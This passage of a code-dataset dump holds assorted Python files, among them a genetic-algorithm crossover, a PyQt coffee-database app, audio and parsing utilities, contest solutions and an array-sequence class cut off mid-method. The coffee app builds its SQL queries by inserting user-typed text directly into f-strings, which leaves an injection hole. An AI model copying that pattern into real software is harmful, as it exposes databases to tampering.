cuts[1]))\n offspring.append(reallocate(p2, parent2_cut, parent1_cut, cuts[0], cuts[1]))\n\n return np.array(offspring)\n\n\nif __name__ == '__main__':\n cities = [EuclideanCity(i, x[0], x[1]) for i, x in\n enumerate([(k, j) for k, j in zip(range(0, 10), range(0, 10))])]\n p = PathPopulation(cities)\n p.init(nro_chromosomes=6)\n print(p.new_population)\n parents = EuclideanPathParentExtractor().extract_parent(cities, p)\n PMXCrossOver().cross(parents, offspring_count=2)\n","sub_path":"src/domain/crossovers/pmx_crossover.py","file_name":"pmx_crossover.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"18675710","text":"import pygame\nimport time\n\npygame.init()\nclock = pygame.time.Clock()\n\ngameDisplay = pygame.display.set_mode((800, 800))\npygame.display.set_caption('guessing game')\nfont = pygame.font.Font(\"OpenSans-BoldItalic.ttf\", 10)\n\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\nhintText = font.render('a', True, black, white)\ntextRect = hintText.get_rect()\ntextRect.center = (200, 200)\n\ncarImg = pygame.image.load('lightbulb.png')\n\n\ndef lightbulb():\n gameDisplay.blit(carImg, (0, 0))\n\n\ncrashed = False\nwhile not crashed:\n gameDisplay.blit(hintText, textRect)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n crashed = True\n\n gameDisplay.fill(white)\n lightbulb()\n pygame.display.update()\n\npygame.quit()\nquit()\n","sub_path":"Wildcard/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"186384817","text":"import sys\nimport sqlite3\nfrom ЛаттеМакиато_UI.Эспрессо_pyy import Ui_MainWindow\nfrom ЛаттеМакиато_UI.Капучино_addEditCoffeeForm import Ui_MainWindow_2\nfrom PyQt5 import QtWidgets\n\n\ndef main():\n class MyWidget_2(QtWidgets.QMainWindow, Ui_MainWindow_2):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.comboBox.setVisible(False)\n self.textEdit.setVisible(False)\n self.textEdit_2.setVisible(False)\n self.pushButton_5.setVisible(False)\n self.pushButton_4.setVisible(False)\n self.pushButton_5.setText(\"СОЗДАТЬ\")\n self.pushButton_3.clicked.connect(self.exit)\n self.pushButton_2.clicked.connect(self.add)\n self.pushButton.clicked.connect(self.edit)\n self.textEdit.setText(\"\"\"## верный формат - \n 'ID название сорта степень обжарки молотый/в зернах описание вкуса цена объем упаковки' \n (удалите это)##\"\"\")\n\n def edit(self):\n self.textEdit_2.setText(\"Для началы выберете что хотите изменить\")\n self.comboBox.setVisible(True)\n self.textEdit_2.setVisible(True)\n self.pushButton_4.setVisible(True)\n self.pushButton_4.clicked.connect(self.edit_2)\n con = sqlite3.connect(r\"C:\\Users\\111\\PycharmProjects\\git\\ЛаттеМакиато_data\\Капучино_coffee.db\")\n cur = con.cursor()\n result = cur.execute(\"\"\"SELECT name FROM coffee\"\"\").fetchall()\n con.close()\n self.comboBox.activated[str].connect(self.choosen)\n for i in result:\n self.comboBox.addItem(str(i).lstrip(\"('\").rstrip(\"',)\"))\n\n def edit_2(self):\n try:\n choose = str(self.comboBox.currentText())\n data = self.textEdit_2.toPlainText().split()\n con = sqlite3.connect(r\"C:\\Users\\111\\PycharmProjects\\git\\ЛаттеМакиато_data\\Капучино_coffee.db\")\n cur = con.cursor()\n cur.execute(f\"\"\"UPDATE coffee \n SET id = '{data[0]}', name = '{data[1]}', power = '{data[2]}', quality = '{data[3]}', taste = '{data[4]}', price = '{data[5]}', capacity = {data[6]}\n WHERE name = '{choose}'\"\"\")\n con.commit()\n except sqlite3.Error as e:\n self.textEdit_2.setText(\"error\")\n print(e)\n self.comboBox.setVisible(False)\n self.textEdit_2.setVisible(False)\n self.pushButton_4.setVisible(False)\n\n def choosen(self, text):\n con = sqlite3.connect(r\"C:\\Users\\111\\PycharmProjects\\git\\ЛаттеМакиато_data\\Капучино_coffee.db\")\n cur = con.cursor()\n result = str(cur.execute(f\"\"\"SELECT * FROM coffee\n WHERE name = '{text}'\"\"\").fetchall())\n con.close()\n self.textEdit_2.setText(f\"\"\"Текущее значение(удалите пояснение и измените в желаемом объеме):\n {result.lstrip(\"[(\").rstrip(\")]\")}\n В формате:\n 'ID название сорта степень обжарки молотый/в зернах описание вкуса цена объем упаковки'\"\"\")\n return\n\n def add(self):\n self.textEdit.setVisible(True)\n self.pushButton_5.setVisible(True)\n self.pushButton_5.clicked.connect(self.add_2)\n\n def add_2(self):\n try:\n data = self.textEdit.toPlainText().split()\n con = sqlite3.connect(r\"C:\\Users\\111\\PycharmProjects\\git\\ЛаттеМакиато_data\\Капучино_coffee.db\")\n cur = con.cursor()\n cur.execute(f\"INSERT INTO coffee VALUES ('{data[0]}', '{data[1]}', '{data[2]}', '{data[3]}', '{data[4]}', '{data[5]}', {data[6]})\")\n con.commit()\n self.textEdit.setVisible(False)\n self.pushButton_5.setVisible(False)\n except sqlite3.Error as e:\n self.textEdit.setText(\"error\")\n print(e)\n\n def exit(self):\n self.w = MyWidget()\n self.w.show()\n self.close()\n\n class MyWidget(QtWidgets.QMainWindow, Ui_MainWindow):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.pushButton.clicked.connect(self.cofi)\n self.conf = 0\n\n def cofi(self):\n self.conf += 1\n if self.conf == 2:\n self.w = MyWidget_2()\n self.w.show()\n self.close()\n con = sqlite3.connect(r\"C:\\Users\\111\\PycharmProjects\\git\\ЛаттеМакиато_data\\Капучино_coffee.db\")\n cur = con.cursor()\n result = cur.execute(\"\"\"SELECT * FROM coffee\"\"\").fetchall()\n con.close()\n self.tableWidget.setColumnCount(7)\n self.tableWidget.setRowCount(len(result))\n for i in range(len(result)):\n for j in range(len(result[i])):\n self.tableWidget.setItem(int(i), int(j), QtWidgets.QTableWidgetItem(result[i][j]))\n\n if __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n ex = MyWidget()\n ex.show()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"ЛаттеМакиато_release/Капучино_main.py","file_name":"Капучино_main.py","file_ext":"py","file_size_in_byte":5593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"336438065","text":"#####################################################################\n#\n# writer.py\n#\n# Copyright (c) 2015, Eran Egozy\n#\n# Released under the MIT License (http://opensource.org/licenses/MIT)\n#\n#####################################################################\n\nimport numpy as np\nimport os.path\nimport wave\nfrom .audio import Audio\n\nclass AudioWriter(object):\n \"\"\"Class for recording audio data. To use, create an AudioWriter, and pass its method\n :meth:`add_audio` into Audio's `listen_func`. See :class:`common.audio.Audio`.\n \"\"\"\n\n def __init__(self, filebase, num_channels = 1):\n \"\"\"\n :param filebase: The name of the file to output (without the extension). File extension\n is added automatically.\n\n :param num_channels: When writing the wave file, write with this many channels\n \"\"\"\n super(AudioWriter, self).__init__()\n self.active = False\n self.buffers = []\n self.filebase = filebase\n self.num_channels = num_channels\n\n def add_audio(self, data, num_channels):\n \"\"\"Function to add more audio into AudioWriter's internal buffer.\n \n :param data: the frames of audio data.\n :param num_channels: number of channels of interleaved audio data in `data`.\n \n \"\"\"\n if self.active:\n # convert audio from num_channels to the # channels selected for writing\n data = convert_channels(data, num_channels, self.num_channels)\n self.buffers.append(data)\n\n def toggle(self):\n \"\"\"\n Toggles between calling `start()` and `stop()`\n \"\"\"\n\n if self.active:\n self.stop()\n else:\n self.start()\n\n def start(self):\n \"\"\"\n Starts recording audio frames, by accepting data from :meth:`add_audio`.\n \"\"\"\n\n if not self.active:\n print('AudioWriter: start capture')\n self.active = True\n self.buffers = []\n\n def stop(self):\n \"\"\"\n Stops recording audio frames by ignoring any calls to :meth:`add_audio`.\n \"\"\"\n\n if self.active:\n print('AudioWriter: stop capture')\n self.active = False\n\n output = combine_buffers(self.buffers)\n if len(output) == 0:\n print('AudioWriter: empty buffers. Nothing to write')\n return\n\n filename = self._get_filename('wav')\n print('AudioWriter: saving', len(output), 'samples in', filename)\n write_wave_file(output, self.num_channels, filename)\n\n # look for a filename that does not exist yet.\n def _get_filename(self, ext):\n suffix = 1\n while(True):\n filename = '%s%d.%s' % (self.filebase, suffix, ext)\n if not os.path.exists(filename):\n return filename\n else:\n suffix += 1\n\n\ndef write_wave_file(buf, num_channels, filename):\n \"\"\"Write a Wave File\n\n :param buf: Buffer of audio data as an interleaved numpy float array, assuming a range of [-1, 1]\n\n :param num_channels: Number of channels in `buf`\n\n :param filename: Name of output file to write\n \"\"\"\n f = wave.open(filename, 'w')\n f.setnchannels(num_channels)\n f.setsampwidth(2)\n f.setframerate(Audio.sample_rate)\n buf = buf * (2**15)\n buf = buf.astype(np.int16)\n f.writeframes(buf.tostring())\n\n\n# TODO move to some common folder\ndef convert_channels(data, in_channels, out_channels):\n \"\"\"\n Convert an audio data buffer of a given number of channels to a different number of channels.\n Currently only handles going from mono to multi-channel, or from multi-channel to mono.\n \"\"\"\n if in_channels == out_channels:\n return data\n\n # copy mono input into all output channels, interleaved\n if in_channels == 1:\n frames = len(data)\n output = np.empty(frames * out_channels)\n for c in range(out_channels):\n output[c::out_channels] = data\n return output\n\n # reduce all input interleaved input channels into one mono output, averaging data\n if out_channels == 1:\n frames = len(data) // in_channels\n in_data = np.empty((in_channels, frames))\n for c in range(in_channels):\n in_data[c] = data[c::in_channels]\n return in_data.mean(axis=0)\n\n else:\n assert(\"can't convert unless input or output is mono\")\n\n\n# create single buffer from an array of buffers:\ndef combine_buffers(buffers):\n \"\"\"Concatenates a list of numpy arrays into a single numpy array\n\n :param buffers: A list of numpy arrays\n\n :returns: A concatenated numpy float array with length being the sum of lengths of \n arrays in input buffers.\n\n \"\"\"\n size = 0\n for b in buffers:\n size += len(b)\n\n # create a single output buffer of the right size\n output = np.empty( size, dtype=np.float)\n f = 0\n for b in buffers:\n output[f:f+len(b)] = b\n f += len(b)\n return output\n","sub_path":"common/writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":4999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"613020160","text":"## ServaCalc, a simple calculation tool used to determine the cost of running a physical server over the course of a month by inputting specifications.\n\ntry:\n print(\"Welcome to ServaCalc, the simple server running costs calculation tool. I need to take a few bits of information from you.\\n\")\n towerCost = float(input(\"What is the cost of your tower unit in pounds and pence?\\n\"))\n licenseCost = float(input(\"What is the cost of your Windows Server license?\\n\"))\n wattValue = int(input(\"How many watts does your tower unit use? See the manufacturer's website for details.\\n\"))\n electricityCost = float(input(\"Please enter the cost of your electricity in the form of pence per KWh. Check your energy provider for details.\\n\"))\n\n\nexcept ValueError:\n print(\"Please only enter digits.\")\n\n\nelse:\n\n kwhHour = wattValue * 24 / 1000\n kwhHourCost = float(kwhHour * electricityCost)\n totalcostMonth = float(kwhHourCost * 24 * 365 / 12)\n\n print(f\"Your initial setup costs are £{towerCost + licenseCost:,.2f}\".replace('$-', '-$'))\n print(f\"Your total monthly server running costs are £{totalcostMonth/100:,.2f}\".replace('$-', '-$'))\n \n ## Calculations.\n\n # 1000 watts = 1kwh (kilowatt hour) so the full calculation would be the wattValue * hours / 1000 to get the kwh value. \n # For example: 250 watts * 5 hours in a day = 1.25kwh per day.\n # Then to find the total cost, multiply the value of a server KWh by the cost of electricity per KWh.\n # In this project calculation, we will assume the server is running 24 hours a day 365 days a year, as an identity solution should be. We're doing the cost by month, so...\n # The overall math is (cost of KWh * 24 (hours) * 365 (days) / 12 (months).","sub_path":"servacalc.py","file_name":"servacalc.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"365092072","text":"import sys\nsys.stdin = open('input.txt')\ndef c(num):\n nd = list([0]*len(num) for _ in range(len(num)))\n for i in range(len(num)):\n for j in range(len(num[0])):\n nd[j][len(num)-i-1] = num[i][j]\n return nd\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n # print(N)\n d = [list(map(int,input().split())) for _ in range(N)]\n # print(d)\n d1 = c(d)\n\n d2 = c(d1)\n d3 = c(d2)\n print('#{}'.format(tc))\n for i in range(N):\n print('{}'.format(''.join(map(str,d1[i]))),end=' ')\n print('{}'.format(''.join(map(str, d2[i]))),end=' ')\n print('{}'.format(''.join(map(str, d3[i]))))\n\n\n\n","sub_path":"Algorithem_my/IM_Motherboard/1961_ver2/1961ver_2.py","file_name":"1961ver_2.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"409704264","text":"import sys\n\nsys.stdin = open(\"1226input.txt\", \"r\")\n\n\ndef bfs(r, c):\n queue = [(r, c)]\n visited = [(r, c)]\n delta = [(0, 1), (1, 0), (-1, 0), (0, -1)]\n\n while queue:\n cr, cc = queue.pop(0)\n\n if arr[cr][cc] == 3:\n return 1\n\n for dr, dc in delta:\n nr = cr + dr\n nc = cc + dc\n if 0 <= nr < N and 0 <= nc < N and (arr[nr][nc] == 0 or arr[nr][nc] == 3) and (nr, nc) not in visited:\n queue.append((nr, nc))\n visited.append((nr, nc))\n return 0\n\n\nT = 10\n\nfor _ in range(1, T + 1):\n tc = int(input())\n N = 16\n arr = [list(map(int, input())) for x in range(N)]\n\n for i in range(N):\n for j in range(N):\n if arr[i][j] == 2:\n s = (i, j)\n\n res = bfs(s[0], s[1])\n\n print('#{} {}'.format(tc, res))","sub_path":"SWEA/BFS/[1226] 미로1.py","file_name":"[1226] 미로1.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"579510729","text":"import os, re\nfrom xml.dom import minidom\nimport config\n\n\ndef save_title_match(directory, target_directory, target_filename):\n # regexes specifically for IndustryType=\"Information Technology Sector\"\n regexes = [r'Activity', r'Phishing', r'Malicious', r'Theme', r'Rat', r'\\d{6}.\\d{2}', r'IIR.+?\\d.+?\\d{3}.+?\\d{4}.+?\\d{2}', r'CRF.+?\\d{5}.+?\\d{3}', r'.*?FO\\d\\d']\n with open(os.path.join(target_directory, target_filename), 'w') as file:\n line = ''\n for regex in regexes:\n line += 'r\\'' + regex + '\\' '\n file.write(line[:-1] + '\\n')\n file_list = os.listdir(directory)\n file_list.sort(key=lambda t: (int(t[t.index('_') + 1: t.rindex('_')]), int(t[t.rindex('_') + 1: -4])))\n for filename in file_list:\n filepath = os.path.join(directory, filename)\n if filepath == \".DS_Store\":\n continue\n with open(filepath, 'r', encoding=\"utf-8\") as file:\n search = re.search(r'([^<]*?)',file.read())\n title = search.group(1) if search else None\n if title and re.search(r'to.*?activity',title, flags=re.IGNORECASE):\n print(filename + ': '+ title)\n with open(os.path.join(target_directory, target_filename), 'a') as file:\n line = filename + ' '\n for regex in regexes:\n line += ('1' if title and re.search(regex, title, flags=re.IGNORECASE) else '0') + ' '\n file.write(line[:-1] + '\\n')\n\n\ndef extract_node_name(node) -> set:\n node_names = set()\n node_names.add(node.nodeName)\n if node.childNodes:\n for child_node in node.childNodes:\n if child_node.nodeType != child_node.TEXT_NODE:\n node_names |= extract_node_name(child_node)\n return node_names\n\n\ndef save_node_name(directory, target_directory, target_filename):\n node_names = {}\n file_count = 0\n for filename in os.listdir(directory):\n filepath = os.path.join(directory, filename)\n if filepath == \".DS_Store\":\n continue\n root = minidom.parse(filepath).documentElement\n for node_name in extract_node_name(root):\n node_names[node_name] = node_names.get(node_name, 0) + 1\n file_count += 1\n for key in list(node_names):\n if node_names[key] == file_count:\n del (node_names[key])\n sorted_node_name = sorted(node_names.items(), key=lambda t: t[0])\n with open(os.path.join(target_directory, target_filename), 'w') as file:\n # write node names\n line = ''\n for node_name, _ in sorted_node_name:\n line += node_name + ' '\n file.write(line[:-1] + '\\n')\n # write each file\n file_list = os.listdir(directory)\n file_list.sort(key=lambda t: (int(t[t.index('_') + 1: t.rindex('_')]), int(t[t.rindex('_') + 1: -4])))\n for filename in file_list:\n filepath = os.path.join(directory, filename)\n if filepath == \".DS_Store\":\n continue\n root = minidom.parse(filepath).documentElement\n single_node_names = extract_node_name(root)\n line = filename + ' '\n for node_name, _ in sorted_node_name:\n line += ('1' if node_name in single_node_names else '0') + ' '\n file.write(line[:-1] + '\\n')\n\n\ndef feature_file_loader(file_path) -> (list, list, list):\n data = []\n labels = []\n file_names = []\n with open(file_path, 'r') as file:\n label_line = file.readline()[:-1]\n for label in label_line.split(' '):\n labels.append(label)\n for single_line in file.readlines():\n single_list = single_line.split(' ')\n file_names.append(single_list[0])\n data.append([int(x) for x in single_list[1:]])\n return data, labels, file_names\n\n\nif __name__ == '__main__':\n #save_node_name(config.ML_DIRECTORY_PATH, config.ML_DATA_PATH, 'node_1.txt')\n save_title_match(config.ML_DIRECTORY_PATH, config.ML_DATA_PATH, 'title.txt')\n","sub_path":"ml/feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"222696380","text":"from model.TrackPath import TrackPath\nfrom process.locationTranslate import locationTranslate\nfrom util.simpleUtil import readParkingSpotCoordinate\n\n\nclass LotSnapshot:\n \"\"\"\n Make the parking lots queriable anytime\n \"\"\"\n\n def __init__(self, trackUpdate, trackMeta, trackPath, lotStatus):\n self._loaded = False\n self._frames = {}\n self._trackPath = {}\n self._trackMeta = trackMeta\n self.load(trackUpdate, trackMeta, trackPath, lotStatus)\n\n def load(self, trackUpdate, trackMeta, trackPath, lotStatus):\n \"\"\"\n Load track info\n :param validTrack: park|leave behavior track\n :param trackMeta:\n :param trackPath:\n :return:\n \"\"\"\n if not self._loaded:\n items = sorted(trackMeta.items(), key=lambda v: (v[1].timeSlot, v[1].endFrame))\n currentStatus = lotStatus.copy()\n it = iter(items)\n currentItem = next(it)\n currentFrame = 0\n\n while currentItem:\n if currentItem[1].timeSlot not in self._frames:\n self._frames[currentItem[1].timeSlot] = []\n currentFrame = 0\n self._frames[currentItem[1].timeSlot].append(currentStatus)\n if currentFrame == currentItem[1].endFrame:\n if currentItem[1].id in trackUpdate:\n if trackUpdate[currentItem[1].id] < 0:\n currentStatus.setFree(-trackUpdate[currentItem[1].id])\n else:\n currentStatus.setOccupied(trackUpdate[currentItem[1].id])\n currentItem = next(it, None)\n if currentItem and currentItem[1].endFrame == currentFrame:\n currentFrame -= 1\n currentFrame += 1\n currentStatus = currentStatus.copy()\n self.loadPath(trackPath, trackMeta, trackUpdate)\n self.loaded = True\n\n def loadPath(self, trackPath, trackMeta, trackUpdate):\n spots_dict = {}\n for key, val in trackUpdate.items():\n if key not in trackPath:\n print(\"No path found\", key)\n continue\n if key == 1312:\n print(\"Found\")\n file = \"../data/20151102/test-\" + trackMeta[key].timeSlot + \"parkingSpots.xml\"\n if file not in spots_dict:\n spots_dict[file] = readParkingSpotCoordinate(file)\n spots = spots_dict[file]\n path = TrackPath()\n for p in trackPath[key]:\n spot = locationTranslate(spots, p)\n path.append(spot)\n self._trackPath[key] = path\n\n def getStatusAtFrame(self, timeSlot, frame):\n try:\n return self._frames[timeSlot][frame].copy()\n except IndexError:\n print(\"Wrong timeSlot/frame number\")\n\n def getTrackPath(self, trackId):\n try:\n return self._trackPath[trackId]\n except KeyError:\n print(\"No such a key\", trackId)\n\n def getTrackMeta(self, trackId):\n try:\n return self._trackMeta[trackId]\n except KeyError:\n print(\"No such a key\", trackId)\n","sub_path":"model/LotSnapshot.py","file_name":"LotSnapshot.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"15525280","text":"from shaker.engine.executors.shell import ShellExecutor\nfrom shaker.engine.executors import base\nimport json\n\n\nclass FioExecutor(ShellExecutor):\n\n def process_reply(self, message):\n\n stdout = message.get(\"stdout\")\n\n if not stdout:\n raise base.ExecutorException(\n message,\n 'Flent returned no data, stderr: %s' % message['stderr'])\n\n data = json.loads(stdout)\n jobs = data.get('jobs')\n\n formalized_results = []\n for job in jobs:\n job_name = job.get('jobname')\n read_bw = job.get('read', {}).get('bw', 0)\n read_iops = job.get('read', {}).get('iops', 0)\n write_bw = job.get('write', {}).get('bw', 0)\n write_iops = job.get('write', {}).get('iops', 0)\n formalized_results.append({\n job_name: {\n \"read_bw\": read_bw,\n \"read_iops\": read_iops,\n \"write_bw\": write_bw,\n \"write_iops\": write_iops\n }\n })\n\n result = dict()\n result['samples'] = formalized_results\n\n return result\n\n\n","sub_path":"shaker/engine/executors/fio.py","file_name":"fio.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"562991068","text":"\"\"\"empty message\n\nRevision ID: 9d6ebf51c9bf\nRevises: 2f177052f913\nCreate Date: 2020-01-12 20:13:20.112825\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '9d6ebf51c9bf'\ndown_revision = '2f177052f913'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('recipe', sa.Column('cook_method', sa.Text(), nullable=True))\n op.add_column('recipe', sa.Column('ingredients', sa.Text(), nullable=True))\n op.add_column('recipe', sa.Column('recipe_image', sa.String(length=100), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('recipe', 'recipe_image')\n op.drop_column('recipe', 'ingredients')\n op.drop_column('recipe', 'cook_method')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/9d6ebf51c9bf_.py","file_name":"9d6ebf51c9bf_.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"626151968","text":"from itertools import chain\nfrom typing import Dict, List, Set\n\nimport rsa\n\nfrom andreas.functions.querying import get_post_by_identifier\nfrom andreas.functions.verifying import verify_post\nfrom andreas.models.event import Event\nfrom andreas.models.post import Post\nfrom andreas.models.relations import PostPostRelation, UserPostRelation\nfrom andreas.models.server import Server\nfrom andreas.models.signature import Signature, UnverifiedSignature\nfrom andreas.models.user import User\n\n\ndef process_event(event: Event):\n # Users whose approvals we need for this post\n required_users: Set[User] = set()\n \n # Create or update the post with data provided in this event\n if event.path:\n server: Server = Server.get(Server.name == event.server)\n try:\n post = Post.get(Post.server == server, Post.path == event.path)\n except Post.DoesNotExist:\n post = Post(server=server, path=event.path)\n \n # Add/replace elements from the event,\n # remove elements which are nulls in the information provided by event\n for key, value in event.diff.items():\n if value is not None:\n post.data[key] = value\n elif key in post.data:\n del post.data[key]\n \n # Save relations\n for user_string in event.authors:\n user = User.from_string(user_string)\n UserPostRelation.create_after(post, source=user, type='wrote', target=post)\n required_users.add(user)\n if event.parent:\n parent = get_post_by_identifier(event.parent)\n PostPostRelation.create_after(post, source=post, type='comments', target=parent)\n \n verified_signatures: List[Dict] = []\n unverified_signatures: List[Dict] = []\n verified_users: Set[User] = set()\n unverified_usernames: Set[str] = set()\n \n # Try to verify and save as many signatures as possible\n for user_string, signature_hex in event.signatures.items():\n signature_data = bytes.fromhex(signature_hex)\n try:\n keypair = verify_post(post, user_string, signature_data, authors=event.authors)\n verified_signatures.append(dict(event=event, data=signature_data, keypair=keypair))\n verified_users.add(keypair.user)\n except rsa.VerificationError:\n unverified_signatures.append(dict(event=event, data=signature_data, user=user_string))\n unverified_usernames.add(user_string)\n \n # If we got all approvals, then we save post and fill post_id in all the signatures\n success = False\n if verified_users >= required_users:\n success = True\n \n post.save()\n for signature_data in chain(verified_signatures, unverified_signatures):\n signature_data['post'] = post\n \n # If we have already analyzed this event in the past\n # but had some user's signatures unverified and now some of them became verified,\n # delete the old unverified instances\n (UnverifiedSignature.delete()\n .where(UnverifiedSignature.event == event)\n .where(UnverifiedSignature.user << [repr(u) for u in verified_users])\n .execute())\n \n # Save the signatures\n # We need them no matter what, even if we are going to raise the exception\n if verified_signatures:\n Signature.insert_many(verified_signatures).execute()\n if unverified_signatures:\n UnverifiedSignature.insert_many(unverified_signatures).execute()\n \n # Raise exception if post was not verified and therefore created/updated\n if not success:\n raise UnauthorizedAction(required_users, verified_users, unverified_usernames)\n\n\nclass UnauthorizedAction(Exception):\n def __init__(self, required_users: Set[User], verified_users: Set[User], unverified_usernames: Set[str]):\n super().__init__()\n self.required_users: Set[User] = required_users\n self.verified_users: Set[User] = verified_users\n self.unverified_usernames: Set[str] = unverified_usernames\n \n def __str__(self):\n missing_users = self.required_users - self.verified_users\n missing_users_list = ', '.join(sorted(map(str, missing_users)))\n msg = f'Missing authorization by {missing_users_list}.'\n \n if self.unverified_usernames:\n unverified_usernames_list = ', '.join(sorted(self.unverified_usernames))\n msg += f'\\n Note: Failed to verify {unverified_usernames_list}.'\n \n return msg","sub_path":"andreas/functions/process_event.py","file_name":"process_event.py","file_ext":"py","file_size_in_byte":4699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"501515009","text":"from __future__ import division\n\nimport numbers\nfrom operator import mul\nfrom functools import reduce\n\nimport numpy as np\n\nMEGABYTE = 1024 * 1024\n\n\ndef is_array_sequence(obj):\n \"\"\" Return True if `obj` is an array sequence. \"\"\"\n try:\n return obj.is_array_sequence\n except AttributeError:\n return False\n\n\ndef is_ndarray_of_int_or_bool(obj):\n return (isinstance(obj, np.ndarray) and\n (np.issubdtype(obj.dtype, np.integer) or\n np.issubdtype(obj.dtype, np.bool_)))\n\n\nclass _BuildCache(object):\n def __init__(self, arr_seq, common_shape, dtype):\n self.offsets = list(arr_seq._offsets)\n self.lengths = list(arr_seq._lengths)\n self.next_offset = arr_seq._get_next_offset()\n self.bytes_per_buf = arr_seq._buffer_size * MEGABYTE\n # Use the passed dtype only if null data array\n self.dtype = dtype if arr_seq._data.size == 0 else arr_seq._data.dtype\n if arr_seq.common_shape != () and common_shape != arr_seq.common_shape:\n raise ValueError(\n \"All dimensions, except the first one, must match exactly\")\n self.common_shape = common_shape\n n_in_row = reduce(mul, common_shape, 1)\n bytes_per_row = n_in_row * dtype.itemsize\n self.rows_per_buf = max(1, self.bytes_per_buf // bytes_per_row)\n\n def update_seq(self, arr_seq):\n arr_seq._offsets = np.array(self.offsets)\n arr_seq._lengths = np.array(self.lengths)\n\n\nclass ArraySequence(object):\n \"\"\" Sequence of ndarrays having variable first dimension sizes.\n\n This is a container that can store multiple ndarrays where each ndarray\n might have a different first dimension size but a *common* size for the\n remaining dimensions.\n\n More generally, an instance of :class:`ArraySequence` of length $N$ is\n composed of $N$ ndarrays of shape $(d_1, d_2, ... d_D)$ where $d_1$\n can vary in length between arrays but $(d_2, ..., d_D)$ have to be the\n same for every ndarray.\n \"\"\"\n\n def __init__(self, iterable=None, buffer_size=4):\n \"\"\" Initialize array sequence instance\n\n Parameters\n ----------\n iterable : None or iterable or :class:`ArraySequence`, optional\n If None, create an empty :class:`ArraySequence` object.\n If iterable, create a :class:`ArraySequence` object initialized\n from array-like objects yielded by the iterable.\n If :class:`ArraySequence`, create a view (no memory is allocated).\n For an actual copy use :meth:`.copy` instead.\n buffer_size : float, optional\n Size (in Mb) for memory allocation when `iterable` is a generator.\n \"\"\"\n # Create new empty `ArraySequence` object.\n self._is_view = False\n self._data = np.array([])\n self._offsets = np.array([], dtype=np.intp)\n self._lengths = np.array([], dtype=np.intp)\n self._buffer_size = buffer_size\n self._build_cache = None\n\n if iterable is None:\n return\n\n if is_array_sequence(iterable):\n # Create a view.\n self._data = iterable._data\n self._offsets = iterable._offsets\n self._lengths = iterable._lengths\n self._is_view = True\n return\n\n self.extend(iterable)\n\n @property\n def is_array_sequence(self):\n return True\n\n @property\n def common_shape(self):\n \"\"\" Matching shape of the elements in this array sequence. \"\"\"\n return self._data.shape[1:]\n\n @property\n def total_nb_rows(self):\n \"\"\" Total number of rows in this array sequence. \"\"\"\n return np.sum(self._lengths)\n\n @property\n def data(self):\n \"\"\" Elements in this array sequence. \"\"\"\n return self._data\n\n def _get_next_offset(self):\n \"\"\" Offset in ``self._data`` at which to write next rowelement \"\"\"\n if len(self._offsets) == 0:\n return 0\n imax = np.argmax(self._offsets)\n return self._offsets[imax] + self._lengths[imax]\n\n def append(self, element, cache_build=False):\n \"\"\" Appends `element` to this array sequence.\n\n Append can be a lot faster if it knows that it is appending several\n elements instead of a single element. In that case it can cache the\n parameters it uses between append operations, in a \"build cache\". To\n tell append to do this, use ``cache_build=True``. If you use\n ``cache_build=True``, you need to finalize the append operations with\n :meth:`finalize_append`.\n\n Parameters\n ----------\n element : ndarray\n Element to append. The shape must match already inserted elements\n shape except for the first dimension.\n cache_build : {False, True}\n Whether to save the build cache from this append routine. If True,\n append can assume it is the only player updating `self`, and the\n caller must finalize `self` after all append operations, with\n ``self.finalize_append()``.\n\n Returns\n -------\n None\n\n Notes\n -----\n If you need to add multiple elements you should consider\n `ArraySequence.extend`.\n \"\"\"\n element = np.asarray(element)\n if element.size == 0:\n return\n el_shape = element.shape\n n_items, common_shape = el_shape[0], el_shape[1:]\n build_cache = self._build_cache\n in_cached_build = build_cache is not None\n if not in_cached_build: # One shot append, not part of sequence\n build_cache = _BuildCache(self, common_shape, element.dtype)\n next_offset = build_cache.next_offset\n req_rows = next_offset + n_items\n if self._data.shape[0] < req_rows:\n self._resize_data_to(req_rows, build_cache)\n self._data[next_offset:req_rows] = element\n build_cache.offsets.append(next_offset)\n build_cache.lengths.append(n_items)\n 